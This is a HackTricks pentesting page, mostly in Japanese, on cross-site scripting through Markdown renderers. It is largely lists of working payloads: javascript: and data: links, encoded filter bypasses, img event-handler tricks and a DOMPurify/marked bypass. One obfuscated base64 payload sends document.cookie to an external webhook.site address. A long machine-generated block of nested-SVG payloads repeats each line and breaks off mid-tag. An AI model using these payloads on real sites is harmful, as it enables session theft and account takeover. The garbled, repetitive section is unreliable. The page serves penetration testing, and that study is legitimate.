hacktricks/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
2023-07-07 23:42:27 +00:00

27 KiB
Raw Blame History

XSS in Markdown

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

もしマークダウンにコードを注入する機会がある場合、コードが解釈される際にXSSをトリガーするために使用できるいくつかのオプションがあります。

HTMLタグ

マークダウンでXSSを取得する最も一般的な方法は、javascriptを実行する一般的なHTMLタグを注入することです。なぜなら、いくつかのマークダウンインタプリタはHTMLも受け入れるからです。

<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />

メインのXSSページには、さらに多くの例があります。

JavaScriptリンク

HTMLタグが選択肢にない場合は、常にMarkdownの構文を使って試してみることができます

<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))

<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)

Img イベント構文の乱用

The img tag in HTML allows the inclusion of images in a webpage. It also supports various attributes, including the onerror attribute, which is triggered when an error occurs while loading the image. This attribute can be abused to execute arbitrary JavaScript code.

HTMLのimgタグは、ウェブページに画像を含めるために使用されます。また、onerror属性など、さまざまな属性もサポートしています。onerror属性は、画像の読み込み中にエラーが発生した場合にトリガーされ、任意のJavaScriptコードを実行するために悪用されることがあります。

To exploit this, an attacker can inject malicious JavaScript code into the src attribute of the img tag. When the image fails to load, the onerror event is triggered, executing the injected code.

攻撃者は、悪意のあるJavaScriptコードをimgタグのsrc属性に注入することで、これを悪用することができます。画像の読み込みに失敗すると、onerrorイベントがトリガーされ、注入されたコードが実行されます。

Here is an example of an XSS payload using the onerror attribute:

以下は、onerror属性を使用したXSSペイロードの例です。

<img src="nonexistent-image.jpg" onerror="alert('XSS')">

In this example, when the image nonexistent-image.jpg fails to load, the onerror event is triggered, and an alert box with the message "XSS" is displayed.

この例では、画像nonexistent-image.jpgの読み込みに失敗すると、onerrorイベントがトリガーされ、メッセージ「XSS」を含むアラートボックスが表示されます。

This technique can be used to perform various malicious actions, such as stealing user cookies, redirecting users to malicious websites, or defacing the webpage.

この技術は、ユーザーのクッキーを盗む、ユーザーを悪意のあるウェブサイトにリダイレクトする、ウェブページを改ざんするなど、さまざまな悪意のある行動に使用することができます。

![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))

HTMLサニタイザーマークダウンバイパス

以下のコードは、HTML入力をサニタイズしてからマークダウンパーサーに渡しています。その後、MarkdownとDOMPurifyの間の誤解釈を悪用してXSSをトリガーすることができます。

<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>

ペイロードの例:

<script>alert('XSS')</script>
<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<img src="x" onerror="alert('XSS')">
[Click me](javascript:alert('XSS'))
<a href="javascript:alert('XSS')">Click me</a>
[Click me](javascript:alert('XSS'))
<a href="javascript:alert('XSS')">Click me</a>
![Image](javascript:alert('XSS'))
<img src="javascript:alert('XSS')" alt="Image">
![Image](javascript:alert('XSS'))
<img src="javascript:alert('XSS')" alt="Image">
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="javascript:alert('XSS')"></iframe>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg onload="alert('XSS')"></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><script>alert('XSS')</script></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><img src="x" onerror="alert('XSS')"></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><a href="javascript:alert('XSS')">Click me</a></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><img src="javascript:alert('XSS')" alt="Image"></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><iframe src="javascript:alert('XSS')"></iframe></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg onload="alert('XSS')"></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><script>alert('XSS')</script></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><img src="x" onerror="alert('XSS')"></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg onload="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><script>alert('XSS')</script></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg>
<svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg>
<svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg>
<svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg>
<svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg>
<svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg>
<svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg>
<svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg>
<svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg>
<svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg>
<svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><script>alert('XSS')</script></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="x" onerror="alert('XSS')"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><a href="javascript:alert('XSS')">Click me</a></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><img src="javascript:alert('XSS')" alt="Image"></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><iframe src="javascript:alert('XSS')"></iframe></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></svg></svg></svg></svg>
<svg><svg><svg><svg><svg><svg onload="alert('XSS')"></svg></svg></
```html
<div id="1

![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
<a title="a

<img src=x onerror=alert(1)>">yep</a>
------------------------------------------------
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
----------------------------------------------
`<p x="`<img src=x onerror=alert(1)>"></p>

ファジング

Fuzzingファジングは、アプリケーションやシステムのセキュリティテスト手法の一つです。ファジングは、ランダムなデータや不正なデータを入力として、アプリケーションやシステムの挙動をテストすることを目的としています。ファジングは、アプリケーションやシステムが予期しない挙動を示す可能性がある場合に特に有効です。

ファジングは、セキュリティ上の脆弱性を特定するために使用されます。ファジングは、入力データに対して異常な振る舞いを引き起こす可能性のある特定のパターンや条件を特定することができます。これにより、攻撃者がアプリケーションやシステムに悪意のあるコードを注入するなどの攻撃を行うための脆弱性が明らかになります。

ファジングは、自動化されたツールを使用して実行することができます。これにより、大量のデータを効率的にテストすることができます。ファジングは、アプリケーションやシステムのセキュリティを向上させるために、定期的に実施することが推奨されています。

ファジングは、アプリケーションやシステムのセキュリティテストにおいて重要な手法の一つです。ファジングを使用することで、潜在的な脆弱性を特定し、それに対する適切な対策を講じることができます。

<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://www.google.com%0Aprompt(1))
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](<28>javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥